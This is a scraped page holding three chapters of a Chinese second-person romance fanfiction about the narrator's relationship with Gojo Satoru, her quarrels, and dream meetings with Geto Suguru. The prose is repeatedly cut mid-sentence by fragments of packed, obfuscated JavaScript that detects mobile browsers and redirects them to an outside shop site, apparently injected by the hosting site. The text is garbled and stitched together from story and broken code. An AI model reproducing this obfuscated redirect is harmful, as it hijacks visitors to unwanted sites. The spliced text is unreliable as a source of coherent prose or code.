0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13901965|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我想……” 他盯着你的嘴唇看,然后喉头滚动。 再之后……你们双唇分开。 你从齿缝里挤出笑意,他退开后一会不解问你:“怎么了?” “是这样的。” 【是这样的】似乎是你起手常用的一招,你的新男友因此警铃大作,五条悟目光警醒。 “我和硝子会看灰原和网上一些其他的人玩galgame。你说刚才的那种事情,是不是有点像【先吃饭,先吃水果,还是先吃……】,哈哈,想起来就觉得很有趣呢。”你又讲起了笑话。 家庭主妇真的好爱做菜,不管是做菜,还是做菜。 于是五条悟的情难自禁被你结构成了幽默的游戏,他为此生气,在他自己分析出为什么愤怒前就给出了反应:“星夏!” “怎么了?”你这么问他。 你的男友堪称咄咄逼人:“这是女朋友应该说的话吗?” “嗯……那你觉得【女朋友】应该说什么呢?” “温柔一点,粘人一点,不要无理取闹,懂得满足。” 东京奇观,许愿机说话了。 你闻言面色不变对他点点头,这也不是你第一次遇见蹬鼻子上脸的人,而你擅长顺从。 你在他期待的目光中肯定了他的需求:“希望相好的人能做到这些似乎也是人之常情,不错的,那么五条前辈,你就自己朝着这个方向努力吧。” 你面无表情对他握拳做了个fighting的动作给他打气。 “……” 接下来重接之前停滞的议题:“通情达理的男朋友,我们晚上吃什么?” “你怎么就想着吃啊!!” 重点不在于此,五条悟也很快反应过来。“不对,你这家伙偷懒,你刚才分明是故意问我那些问题的吧?!然后再推到我身上!” 作为一个合格的女朋友,你当然不会反驳伴侣的要求,反而要鼓励他:“你瞧,虽然你先前没有过恋爱的经历,但显然作为先天恋爱达人的你有过人的天赋和技巧。一下就领悟了【好的伴侣应该是怎么样】这件事,五条前辈--” 你确信地给他确凿无疑的答案:“你天生就有爱人的能力。” 你这么会夸他,【懂得满足】的贤惠男人应该要开心才是。 你【温柔】的男朋友现在不抱着你了,一只手贴在你背脊上,吊车吊重物一样单臂支撑挂着你。【从不无理取闹】的他想把你丢下去。 幸好他的手比较……【粘人】。 “你太过分了。”他指责你。 一定要说的话那还是先许愿的人比较过分哦?不过你才不和他说这些。 他没晾着你很久,你回到他胸膛上的时候,他还问你冷不冷。 “还行,我不怕冷。” “说什么呢,我还记得你冬天有钱以后穿了两件外套,里面还有夹克。”你们正在变低,渐渐地,能看见楼房高层的轮廓在下方。五条搂紧了你裸露在外的后颈。“我没见过你这么嘴硬的人。” 并非是有心倔强,你现在确实不如冬天那时候畏寒了,再说那也不是畏寒,更多是心理作用。现在,你却是由内而外地散发热力。 不过你亲吻了他的侧脸:“谢谢。” “……” 印象中,在你们接吻之后他都没有这般脸红过。挺纯情的,五条悟这人。 那天晚上,五条带你去吃了东京-银座-蟹料理。 你们还是没去看烟花,显然,他本人对氛围足而愉悦性弱的活动兴趣也不大。他只是猜测你会有些喜欢。 你么,有点兴趣,但不多。 况且,以他对术式的掌握恐怕确实不足以直接飞去长野,你不想迷路在荒郊野外然后给夜蛾老师打电话,最后发现和前辈在一起进行一场不知所云的冒险。 有点丢人。 不过你愿意调笑他:“终于吃到长野正宗的毛蟹了。” “……这是北海道的。” “对,我知道。”你和他并排而坐。侧身,手背支着脸看他。“这不是正好已经到第一支烟花升空的时间了,真好,这是我第一次见到烟花。” “你戏弄我。” “哪有。”你眨眼,知道他有一点脾气。适时转过去面对桌面上放好的肥美蟹臂刺身。 它搭配柠檬很美味。 55.第 55 章 久违的恋爱并没有过多影响你的生活,你的日程依旧很满。你在白天把时间分给高专和休息,晚上在梦中探寻与追觅,大家似乎觉得你有点爱睡觉。 灰原很惊讶,七海以为你对五条悟也就一般,因此他也有点。硝子在她灵动的眼神中祝福了你们的确定关系,实际上谁 也不知道她在想什么。 夏油杰……你的夏油前辈,比以前更沉默,他几乎不再和你说话。 在醒来的时候是这样的。 不过你的男朋友正是对这不满--心态上不能说老成,五条悟非常、迫切、急需你和他一样,容许感情改变生活的许多。 “每次都是我去找你,任务也是,任务之后也是,甚至发短信也是!”他连抱怨控诉的时候也是活泼的,五官都有灵魂。 “明天,明天我陪你。”下次一定这个说法在七月底已经失效了,就像逾期的优惠券,不能给你带来任何好处。 现在是八月,你会对你的男朋友做出更明确的承诺,并且至少保证它会被达成。 “那你态度也太平淡了。” “你是说我们先争论一番,最后我妥协告终,这样能给你带来更多情绪价值吗?” 五条悟摇晃你的肩膀,让你在人来人往的街道上被关注到:“你这是冷暴力!你还曲解我的意思!” 他完全是在危言耸听。你会回复他的大部分消息,除非他真的发了很多。有些时候他确实有点啰嗦。 “五条,这就是你在乱说了。几乎每个晚上都是我发最后一条简讯。”交往之后你有注意这些。 他从以前就有点在意,你喜欢在电子通信的最后掌握时机然后不回消息,让对方的对话框留在最后。 现在你会把自己放在他的下面。 “哼。你现在前辈也不喊了。” 你本来也不是心高气傲的人,不会因为不实指控被冒犯。 你遂他的意,假装犹豫,说出他大概率想听的话。你叫他的名字:“那,小悟?” “你--你怎么突然在路上就这么叫我,不对其实你早就蓄谋已久想叫我的名字了吧。刚才和以前只是你在为现在做准备。” 警惕新型许愿手段。说这么具体反而暴露了这是自己的想法。 你走到一个拐角处,一只手还欠着他,另一只就对他勾起了手指。 当绿灯亮起,几米开外的行人步履匆忙,在这日光也懒于下午涉足的小巷,你抚摸五条悟轮廓分明的脸庞,他的姿态不再笔挺,肩膀抵在你的肩上。 在彼此的呼吸中,你们做一些情侣会行的好事。 “闭上眼睛。”你命令他。 出去的时候你抱怨墙上的灰应该弄脏了你的衣服,他说不可能,因为术式发动起来就是这样。 是哦,无下限术式。 因为你的一时意动,路上又有了逃不开的诘问:“你怎么这么熟练,你是不是和别人也这样过?” “不记得了。应该没有吧。”以前的小巷子里除了干净卫生的环境什么都有,你有条件以后就不去了。 “看你的表情似乎对回答不太满意。我只是看到你露出那样的脸,就有点……小悟,虽然你长着一张对自己的外表有很高感知的脸,但应该也不会厌倦褒奖。” 你赞美他:“你很好看。是我见过最好看的那一类” 他执拗地转过去:“你长得……也还行。” 你猜他心里乐开了花。 也还行的你就这样有了一个很好看的男朋友。 关于你们是怎么交往的详细情况,在面对别人提问的时候,五条悟陷入了一种纠结。 起初是硝子,在一个你们都在的时候,她问你:“所以说具体是怎么确定关系,谁先表的白?” 你指着五条悟:“他。” 引起了不满。 “怎么说明明是那天傍晚你问我的!然后我勉为其难答应了星夏。” “呃,是这样吗?”你怎么记得明明是他。 “你快回忆起来,就是我们确定关系那天。”五条悟对于之前的事情矢口否认。 你后知后觉,原来在那天之前的都不算吗? 好吧,这不重要,你也承认了这说法,点头。给了硝子一个双方统一的答复:“对,应该是我先问的他。” 你以为这就算过去了。 不过你的同期在那之后也问了一遍。 你还记得自己对硝子的说法。 “我先追的他。”这个说辞是因为灰原就是这个问法。 你引起了七海的问题:“呃,是五条前辈逼你这么回答的?” 还没等你又否定七海,事情的另一个主角不乐意了。 “等等,星夏你什么时候追过我?” “……”你的同期没想到这也是个敏感话题 五条悟的活法似乎只有一种,他像个甲方。 这个前几天还合他心意的说法今天就陌生,也是你没料到的事情。 你陪他一起颠覆旧说法:“那你追的我?” “不对不对,明明是--我的意思是说,那个,星夏,就是说,我想……” 从五条悟睁大的眼睛中,你把握住最后一个qte一样领会了他的意思:他既不愿意放低自尊心公然承认是自己先动心,也不想让别人误以为你为了和他在一起好像真的付出了什么--努力也好,追求也罢。 何等别扭的想法。 这个话题因为实在难以达成一致,主要是五条悟单方面困难,后来你们都闭口不提。 反正他一直觉得你付出不够多。 而且不够温柔,不够粘人,不够……他并不知道怎么恋爱,你从模板化的抱怨中领会。这样日系的女孩子他能见到许多,他如果当真欣赏这些品质,早就不会是单身了。 你在某天告诉他:“如果你是说的那样,我还是会喜欢你的。但你就不一定了。” 你不是说他容易厌倦,只不过,一具容忍温顺的血肉皮囊,若有内涵,则必不会是表面那样;如果那中间还只是一如既往地的温和柔软,那又有点无趣。 总的来说,人会偏好温柔,但灵魂都有它自己形状。 你也知道,就算五条悟脑袋空空--实际他也完全不是那样,他至少还有这么一副绝美皮囊。 “……真的吗?你怎么敢质疑我的真心。”你的男朋友深觉自己被忽悠了。 “就是相信你的真心才这么说的。” “所以你很喜欢我咯?” “我是说你各方面发展比较均衡,就算个性变得无聊也还有其他出众的地方。” “哈,你承认你就是觉得我的品味很无聊!因为自己不够温柔就贬低这个品格实在是太恶劣了。” 你的嘴巴在你不知道的时候乱说什么话了吗,怎么给他听出这个意思来的。 因此你说:“……不要把随随便便网上看来的东西就说成自己的品味比较好。” “你欲盖弥彰,星夏,你这就是承认。”他打定主意说你是做不到就诋毁。 “是,我是。而且我非常喜欢你。” 你放弃抵抗。 他虽然不信,但也表情很甜蜜地抱着你不撒手。同时,五条悟本人否认【甜蜜】【不撒手】等说法。 和你的男朋友相处在一些细节上确实可以更注意一些. 你们的恋情在他大肆宣扬下,一时之间许多人都知道了。 然后就会有各种各样的声音。 “最强,但是那个女生是谁来着?” “学妹……感觉已经是可以想象得出来的情节了。” “所以为什么两个高专学生的恋情能被关注到这种程度,今年的工作压力可相当大。” “总监部设计派来检测智商的。” 你本人,疑似失去所有力气和手段。 而五条悟,最近有些得意。 “怎么样,和我恋爱是不是很值得骄傲?” “不至于。”这是你的回答,也掀起一场小小矛盾的波澜。 这个说法引起了微妙的不满。 但真正引起你们确认关系后第一次争吵的是…… ———— “这两天五条前辈都不来找你了。你们吵架了吗?”存在感极高的人,当他突然失踪的时候,更容易引起关注。 灰原啊灰原,你看他的目光里只有无奈:“你猜七海为什么不问,是因为他被蒙在鼓里吗?” “对啊,为什么---我不该问这些,是不是?” “我只是不好奇。”七海跑出来给同期说话了,他不愿意做你的素材,也不愿意让灰原感到过失。“不过你们有什么矛盾?” “没什么,我的本意是想让灰原少聊……” 七海出手总是不落空:“还有夏油--” “给您拜年了。”你转头就是一个鞠躬,差点被七海的身子撞到。 “什么,夏油前辈!前辈怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13901966|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么了?” “他好着呢。”你和夏油杰的关系在那以后就一言难尽,不过你还是在他不在场的时候做出权威性解答。“17岁的夏天,能有什么问题。” 七海不算特别好忽悠,你权衡一番,打算进行一些恋爱中的人际交往烦恼大公开,用的是灰原能够一下理解并给出回应的通俗语言。 “……我就告诉他,如果要我【心怀感激】地接受对方的青睐,最可能的情况也是要等到分手致辞。他就不开心了,言重申明需要我撤回此番冒犯的话。” “哦……”公交车票钱给值回来了,灰原拖长了语调。“看样子你没听五条前辈的?铃木,如果是你的话确实像是很会拒绝别人的样子。” 那是当然的,怎么说也不是你要致谢五条悟愿意和你交往。不过很会拒绝又是怎么回事啊? 你问灰原:“这又是什么说法,我难道还比七海更冷峻吗?” “不要拉无关人士下水。”不想加入的人换了个座位。 “也不是……怎么说呢,如果是七海的话软磨硬泡说不定他就会同意。但你就不会。”灰原一不小心透露出自己针对七海的特攻,被又提起一遍的人撇过了头。“不过不过,重点应该不是那个。我觉得五条前辈不开心的原因主要是--” 他卖了个关子。 你不需要别人提供恋爱建议,尤其是没有经验的人,不过灰原的话你愿意一听。 只看他得意竖起手指,眼里有光:“你提到了那个那个,就是情侣之间最不能说的字眼。” “具体是指?” “哎呀,是分手呀!” 你的反驳依据是:“我们开起人命冷笑话的时候也没见他顾忌。” “因为没人会死是真的,你们可能分手也是真的。”接下来的时间里,你听灰原讲述了他从各个地方搜集来的……分手情况大全。 情侣会用各种各样的理由分手,任何时代都是一样。 “有点意思,这也是你上网看的?网站可以发我。”你有机会也想去看看。 “所以,你下次不要再和五条前辈说起分手了。” “这不好说……看他气急败坏也挺有趣。” “铃木,你在逗前辈吗?” “不完全是。”你回忆起那天的话题,起始于他的自夸,途经你们都能听见的风声评价,最后…… 回到现在,你说:“我那天心情不是很好,隐隐约约知道这样说他会不开心,所以就说了。” 灰原很爱做军师,或者说他很爱听你和前辈们的事,也许两者兼有。他惋惜地拍手:“所以说,你不应该那样做。” 不应该吗?再不应该你也做都做了。 “我只是不理解为什么我应该是受宠若惊的那个。似乎连五条都习惯性这样觉得。除了……大家也都这么想。” 完整版是除了夏油杰之外,连硝子都觉得。 你曾经在五条悟面前说起过这句话。现在想想这也是踩在扣分点上了。 然后他问你为什么-- 你说【因为他也很喜欢我】 捅马蜂窝了。 灰原听了不完整的版本,他也很疑惑:“难道不是吗?” “……” 你很少带着感情看别人,但这件事情让你着实想不明白。你不问硝子,不想被她调侃,但是灰原……灰原很少以幽默看别人,这也是他总是讨人喜欢的地方。 你就做不到。年纪大了正是拼搏的时候,但要学会找乐子。 灰原也是怀揣着激动和豪情做到了军师的官职:“你想想,五条前辈很帅气,很强,个子也很高,家里……御三家,而且还是家主,特级。总之铃木,虽然你是我的好朋友,但是你对比前辈还是普通,了一点。不过我们都很喜欢你,嗯,七海也是!朋友对朋友那种。” 说出普通的时候有些犹豫,不过最后他沿用了这个说法。 你有一般的出身,不错的天赋,漂亮的外貌,独立的性格。 不过比起样样都超越优秀的五条悟,那还是差了不少。 他们所有人都没有评判你的意思,可你站在五条悟旁边的时候,他们似乎都共同的意识到:你其实没有那么好。 “这样啊,说的也没错。不过他也不是喜欢上我的普通。”你打了个哈欠,灰原让你知道了一些新的视角,不过…… 此话不假也不等同于全部为真。五条悟从环境中感染的得意用在你身上还是早了点。 56.第 56 章 灰原是个公平的人,至少当他真心实意认定某件事情的时候,他就会坚定自己的观点。 “可这件事情确实是铃木你做的不对。你可以找个机会和前辈道歉。” 有时,人藉由他人的评价审视自己。 你又回想那天的事情,聊到后面大家都带了点火气,他的更多,但你更不客气。所以说出的话都多少冒犯。 回忆完毕,复查复核结果:没错。 “算了吧,我没什么想认错的地方。”这是你的最终告知。“我不想谈个恋爱就变得感恩。” 灰原一脸迷茫的表情让你忍不住戳了戳他的脑袋:“你笨笨的,以后会被欺负地很惨哦。” “五条各方面都很顶尖,这是实话。但我也没和人诉苦跟他在一起很辛苦啊,也没让他感谢我愿意和他交往这件事。” 不过你也不太辛苦就是了,恋情没造成心理上的负担。 灰原觉得你较真了:“可是前辈也没有认真地等待你的感谢吧?” 你告诉他:“问题在于,如果我那个时候表达了感激,他会没有一点负担地接受的。” “我不想让他觉得好像我是恋爱中比较占便宜的那个人。如果他有天觉得我一般,就像刚开始那样,我不会……我们应该就会分手了。所以我才说那些话。” 至于原因么,你确实从来就没有【赚大了】的窃喜感。 先喜欢你的是他,先要求交往的也是他,怎么到头来好像是你高攀了一样,而他似乎真的好整以暇等你的谢意。 看灰原的表情,你说的仍然也不具体。 你不得不把事情像电视剧那样掰碎了送给观众那样讲: “他高大,英俊,有权有势,能力出众;她小家碧玉差强人意。但他们能走到一起,他看重的绝不是她的缺点。” “恋爱中的交锋偶有时类似于主导权的争夺,权力的游戏中总免不了贬低对面抬高自己的地位的把戏。但用在感情中未免低劣。”两只狗在一起都要争个地位高低,何况是人。 “我没说他是这样的人,事实上他也确实没这么做。但我知道,他不会拒绝的,如果我放弃,如果我自愿归顺。” “因为他手上的筹码客观上比我多,他就【自然地】【第一顺位地】成了话事人?如果电视剧这么演的话三集以后就拍不下去了。” 你已经不再欣赏【你是个二流货色,但我爱你】这种戏码了。 “我才不会给他这种权力。”你对灰原眯起眼睛:“他可以思考自己喜欢我什么,要不要继续和我交往,因为这是他作为感情中的一方永远都能做的事情。” “至于……”你的手不自觉又放到灰原圆溜溜的脑袋上,手肘顶着他的肩膀,姿势嚣张。 “不管是恋爱中还是工作中,认清自己是谁这件事情永远都重要。” 接下来你开始告诉他,如果总监部高高在上地给他布置了太多工作,他就可以通过阳奉阴违甚至是非暴力不合作的硬手段进行抵抗。 保护弱势群体的非咒术师是一种道德枷锁,当斩则斩。 “呃,我们怎么聊到这里来了?” 最近的任务多的不寻常,态势已经蔓延到你们二级学生的身上。 灰原是你的朋友,他人很好,所以你愿意把很多年前你认识到的一个知识告诉他。 “高位者想沉默地看你们俯首的时候,都是一样的。” 灰原下车的时候云里雾里的:“你刚才,铃木,你是不是其实在说五条前辈?” 你笑起来的样子像野兽一样狡猾:“我哪有,总监部坏话只是我有感而发。” “……” 这下他不得不信了。 七海远远地走在最前头,只在你们临别的时候,他姑且算是夸奖你。 “令人印象深刻的发言。” “我们可是不拥有生产资料的工人阶级。出卖劳动力的人心中都有共同的旋律。” “什么旋律?” “明码标价的打工号子。”你们拿差不多的薪水,你因为有时跟班特级,略高一点。 “……” 七海恨你。恨你收放自如的情绪,任何人都只能捕风捉影。 你和男朋友的和好在他终于乐意来找你。你表现得像你们间从来没有过嫌隙,现在,他对你的评价是置身事外的冷漠。 “是不是我不找你你就不会找我?” “真是严重的指控。”你的拇指触碰他唇上蔓延的银丝。 五条悟嘴巴一张又含吮你的手指。 “……” 他的牙齿很硬,舌尖很软。不过这件事情你早就知道了。 你还知道,今晚,你可以很轻松地撬开他的唇齿。 在燥热的夏夜,你们都可以更热一点。 “为什么你这么熟悉?” “为什么你这么坦然?” “为什么你可以让事情就这样简单地过去?” 在他沙哑的声音中,你听见他连珠炮一样发出的质疑。 你在他嘴唇上印下花瓣掉落力度的吻,问他:“你想象中会是怎么样的?” “吵架,我们谁也不让着谁,然后我会亲你,然后我会生气的走掉。”一个富含青少年绮丽幻想和争强好胜斗志的回答。 非常的,青少年。 “不至于,也不是什么大事。”五条悟是个骄傲的孩子,所以不稀奇,你环抱他纤细的腰。现在,屋檐上被你们擦得没有灰尘,哪里都好落脚。 “哼,可严重了。你说起杰的时候。” “那也是实话。”你已经很久没和夏油杰有过聊天了,不过在梦里……你不晓得他在无形之术上有多少天赋,但他做梦的频率比你,比你知道的研习者都高。 难道这是一匹被咒术师生涯埋没的黑马? “怎么就是实话了!”他的音量些微提高,一说起挚友他就这样,然后又埋在你的颈间玩你的头发。 除了毛茸茸的触感,你几乎感受不到他的重量、 五条悟又小声起来:“最近我和他,我们都还不错。如果……如果杰喜欢你,他在我们交往前可以自己说,他--我又没拦着他不让他告白。是他自己,他没说。” 他的意思已经表现得很明显。 这还不过瘾,五条悟最后还暗戳戳说了你一通:“星夏的话,就算你什么都晓得,只要我们不说,你也就【什么也不明白】。你一直如此。” 对对对,夏油杰是第一责任人,你是插手党第二责任人。 五条悟:清白地像雪花。 不然呢,开口都吝啬,哪来的以后。 你也揉揉他的头发,比灰原稍微硬点,但银亮的反光像贵金属,也像银河。 你揉碎了手下的这片光带,也击破了少年不厚实的防御,只用一句话:“他可能不想背叛你,没别的意思。我也很惊讶夏油只对我生气这件事。” “……你什么意思?” 背叛?他们才是好朋友,你才不帮他按条分析。 他抱怨,你也抱怨:“当时大肆宣扬的也是你,告诉他的也是你,结果无论是谁都只在我这找原因。” 你绕着五条悟头顶上的那撮头发打转,然后侧脸亲了亲他的额头,抱怨变成了亲昵的问候: “真是娇生惯养呢,我们小悟。” 大少爷对你别开生面的评价……态度暂且不论,他用行动表示他就是那样。 想做什么就做什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13917744|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五条悟的手往下拽你胳膊,你这下跌倒在他怀中,然后他亮晶晶的眼睛和微启的嘴唇就在月光的沐浴中迎接你的又一个吻。 在一番热气与潮气与欲望的交流后,他气喘吁吁警告你:“不许那样说我。” “所以你觉得杰没说那些,是因为我?” “……你们的真挚友情我就不加入了吧。”如果你真的思考了,就又给了他责备你的机会。 但他更执着地拉着你的手,然后坐了起来:“你真的这么认为?” “不完全这样,但肯定有这方面原因。他挺在乎你的。”上次你提起夏油杰可能存在的心结时,他们都不开心,现在你不乐意说了。 “所以难道是我的错吗?!” 现如今,五条悟的眸光与嘴唇上都有水色。 你戳了戳他鼓起的脸庞。“我可没这么说。” “那你是说我背叛了他咯?” “……这也不是我的原话。固然,也许有的人认为表达好感是对朋友的背弃,但我不这么觉得。”你很真诚的告诉他。“我也没什么朋友,具体看你们如何约定俗成,比如,你可以带入一下被甩在后面的。” 过了一会,他皱着眉:“你还是喜欢他是不是。怎么感觉你还帮他说话。” 可再没有比你的建议更中肯的评价了,而他却还觉得你偏心。这只能说明这人矜贵还不自知。 你吁一口气:“硬要指摘的话,我只是说了你其实知道但不想知道的话而已。” “明明我才是你的男朋友。” “是是是。” “你别喜欢他,我还不够你喜欢么。” 你提出了一个可行的措施:“那我们以后都不要提起他,然后我就会把他忘掉。” 他又闹腾。“就算不考虑感情,杰也是一个值得你尊敬的前辈。你怎么可以这样?” “所以你的意思是,我应当像以前一样和他说话,像以前一样和你谈起他,像以前一样做和夏油有关的任何事情,但我必须毫无波澜,心如死灰。确认一下,这就是你的看法吗?” 你第一次听见了五条悟清晰的叹息,他看起来都不像17岁那样年轻了。 “哎,说不过你,随便你吧。” 你被赌气一样的语气逗得笑出了声。 “有什么好笑的,我问你有什么好笑的?!” 你被警告了。 一会以后,他又自己恢复过来,又缠着你问:“你有多喜欢杰?” “一般喜欢。看见的时候瞧两眼,眼不见的时候就抛在脑后。”你觉得这样说太客观了,就也加了点虚伪的主观评价:“不过他人挺好的。” 人挺好也没给他带来什么善果,只是说起来好听些。 “不对,你对我不会也是这样吧?【一般喜欢】【看不见的时候抛在脑后】。” 你当然会否认这个令人震惊的说法。“没有。” “你就没别的想说嘛!”孜孜不倦的男友拦腰把你抱起,放在他自己腿上。 “你是我男朋友,这不一样。我还是分得清楚的。” “真的?你有把我当成男朋友那样好好照顾吗?” “……早知道你还需要照顾,我就不和你恋爱了。” “什么?这难道不是你作为女友应该--算了,不和你计较。” 他才不是不想和你计较。 大概是回想起了你的那招反击【既然你知道怎么做是大家最喜欢的,就请你这样对我吧。】 你推了他一把,他说他很痛。 “哪疼?” 五条悟指指心脏:“心痛。” “……” 今晚,你入睡的时候,发丝中或许还有五条悟身上的气息。 57.第 57 章 至于那个在梦外很久没有存在感的夏油杰,他对你不算是臭着脸。 不过在仅有两次的你的主动问候中,这个面容清秀、身材已经变得纤细的少年以并不粗鄙甚至称得上是礼貌的语气拒绝了你。 “是,你说的有道理,不过我想倒数第二排座位不适合我。” “我想,现在我们都应该平心静气吹一会空调。” 他一点也不想搭理你。 你不再和他说话,见面也只是点头,在他漠然中有犹疑一闪而过的眼神中。 他在梦里亲近得多。 在你们的第三次林地偶遇之后,你意识到了事件的真相。 不是因为他有蒙尘的天赋,或者说不仅如此。 你在二月,送了他一个打造的钥匙。而钥匙从诞生之初起就是为了打开某扇门。 “你不害怕虫子吗?”你又一次拂去他脸上昆虫的鳞翅与绒毛:“许多人在林地会尖叫。” “这代表什么呢?” “我又不会解梦。更何况,林地本来也只是一片漆黑的地方,树,隔绝在外的光,暗中振翅的飞蛾,青苔。”最近夏油杰总问出一些抽象问题,你已经习惯了。 “为什么呢,为什么让我在梦中见到你。” “因为这里很黑,所以你没【见】到我。”你还是喜欢他正常一点的样子,现在的他像是在凹造型般苦情。“来吧,我带你出去,就像之前那样。” “星夏,你从没带我走出去过。” “不许说话。” 夏油杰于是就短暂的默不作声,直到他决定再次开口:“我们是不是永远会困在这里?” 死小子又抽象到什么地方去了? 他在梦里真的是天马行空一样的乱七八糟。 你不得不像打断胡思乱想病症的老年人那样告诉他:“不会,你是时候改改什么都要上意义的毛病了。黑暗就是黑暗,无光就是无光,不是因为你陷入了某种紊乱才这样。” “可是。”夏油杰的声音颤颤巍巍,他在害怕,他又在害怕了:“这是我的梦啊。” “你是不是熟读并且已经会背诵《梦的解析》?”感觉像是夏油杰这样的人会信奉的圣经。 “没有。” 他停下了脚步,你从拽不动的胳膊到停止的足音知道,这只倔强的小牛又不肯走路了。 “又怎么了?” “星夏。” 不和梦里的人计较,他能口齿清晰不乱叫已经很棒了。你选择不计较他叫完你的名字就不吭声的行径,纵然这有点像网络上那种断头社交--许久不联系的人突然发来一句戛然而止的问候【在吗?】 “怎么了?” “你……你和悟在一起了?” “不是的,我们已经结婚20年正在中年离婚阶段了。”你才没有说他版本落后的意思,只是…… “离、婚?”他疑惑着,似乎还在努力思考这个陌生的词汇是什么意思。 你又随口胡编乱造下去:“自从他有了第一根白头发起,我就意识到他老了。他又不肯去把头发染黑。” “等等,悟不是本来就是白色发色吗?” “呀,恭喜你,发现了。”你没什么负担地说。 “那你是因为他就算变老,头发也不会变白才和他在一起的吗?” “……不,当然不是。”事实上,夏油杰现在的智商忽高忽低。“因为他问我了,我考虑了,就这样。” 他跌跌撞撞顺着你的手找到了你的身体,然后凑了上来,低下头找到你的大概方位呢喃低语,好像没听见你的回答:“是这样啊,等我年纪大了,我的头发就会变白。” 你想笑,但觉得不太合适,最终你在他手背上像顺毛一样摸了两下作安抚。 又过了一会,他从思绪中醒来,终于搭对了频道:“我在做梦。” “是的,好消息,你还没到中年,17岁正是初升朝阳的好年纪。” 你看见了远方闪过的光。 林地辽阔,也许比漫宿的其他地方加起来都更广袤。不过你总算又找到了出去的路。你偏好在光下行动。 你向夏油杰宣告了又一则好消息: “你在做梦,但不是黑暗一望无际的梦了。”你在伸手不见五指的黑林中指了冒光的方向,他未必能看见。不管他的神思还在不在自己身上,你说:“总在这里对你不好,也许我该把钥匙从你身上带走。” 夏油杰,他在白日里懒于搭理你,在寂静的深夜,却握紧你给他的钥匙,当真念叨起他永远不会对任何人说的话…… 在漫宿,也许受到世界内里更深牵引的影响,你更难抗拒自己的欲望。 他低声控诉一样抱怨你:“你也只给我了很少的东西。” 他的意思是,你不能,至少不应该。 很好,他说了半句话--如果夏油杰学会了话只说委婉的一半,这说明他拥有的智慧最次也是正常人类水平。 你问:“我还给过你什么?” 在去往光之所在的路径上,没有枯枝碎石拦路,你们都步履轻巧。 “你……亲过我,在我们第三次见面,在圣诞的前一天。”从停顿中,你能听出他在努力思考。 “难为你还惦记着。” “我不该记得吗?” “不,”此时回头与否效果都一样,他看不见你的脸,也看不见你无所谓的笑:“我不关心这些,所以随便你。” 越来越近了,你脚步也伴随不错的心情加快。他在漫宿中睡不好觉,白天还有一堆事情要做,这些他根本难以一句句记起的对话,本来也没必要发生。 “你为什么……”夏油杰哽住了,声音被扼杀在喉咙里。 一同立住的又包括他的双脚。 你为何就是一点也不惊讶呢。 “如果我说,加快脚步,是不是完全不符合实际?”因为事实上,有人完全站定了。 他问出的问题仿佛昭示又回到了迷迷糊糊的状态:“是不是只有在黑暗中,你才和我站在一起?” 不要再用象征意义控制大脑了,你想这样对他说,有的梦是潜意识在说话,有的就只是神经元搭建的偶然。然而这里,漫宿,不同于上面的任何一种。 它是在人类诞生以前,比第一束火焰被世界的燧石摩擦出来更先,就赫然存在的居屋。是太阳的居所,永生不灭者的乐园。 “不,”但你也不想吵到一个在做梦的人,你呼出的气息比叹息更微弱。“我是真实存在的人,你也是真实存在的人,只不过梦醒后你不会记得我。” “胡说。”夏油杰驳斥你的时候像玩文字游戏:“我都记得的,我记得,我什么都记得。” 他紧接着问你:“你是不是不想见到我,你想让我离开,所以走的才这样快?” “还好吧……”他没完全说错,但稍有偏差:“很明显你更不愿意见到我。” 是啊,他都不和你说话了! “我才没有。”夏油杰的声音里充满了忧伤,你一听见那声音,就立刻想起了他的那双眼睛。如果火山口的岩浆也有紫色,那就应该是他那样。浓烈但缓慢的流淌,表面是平平无奇的掩饰灰色,但其下…… “我才没有,星夏,如果我不希望见到你,你怎么会在我梦里呢?” 一个唯心且认死理的回答。 不过,听起来很动人。 你也用很疑惑的语气问他:“是呀是呀,这到底是为什么呢?” “……” 在你的右脚踏上钴蓝色光遍照的草地前一个瞬间,夏油杰把你拽到了他的怀抱中。 你们全都在黑暗中,光透不进来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13931158|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他今晚的味道比月光冰冷,有枯枝的味道,还有雪松的香。 然而你想到上面曾经有浑身是毛的介壳种和飞虫,它们覆盖住他在黑暗中孤苦无依的身体。现在,你也贴着他了。 你感觉不太好,想和他保持安全距离。可他压着你的后脑勺,你不得已透过他不知道碰过什么的外套,听见了他胸腔中的心跳。 咚,咚,咚,鼓震跃动着,它们诉说拥有者的顽强生命与活力。 他说: “我……” 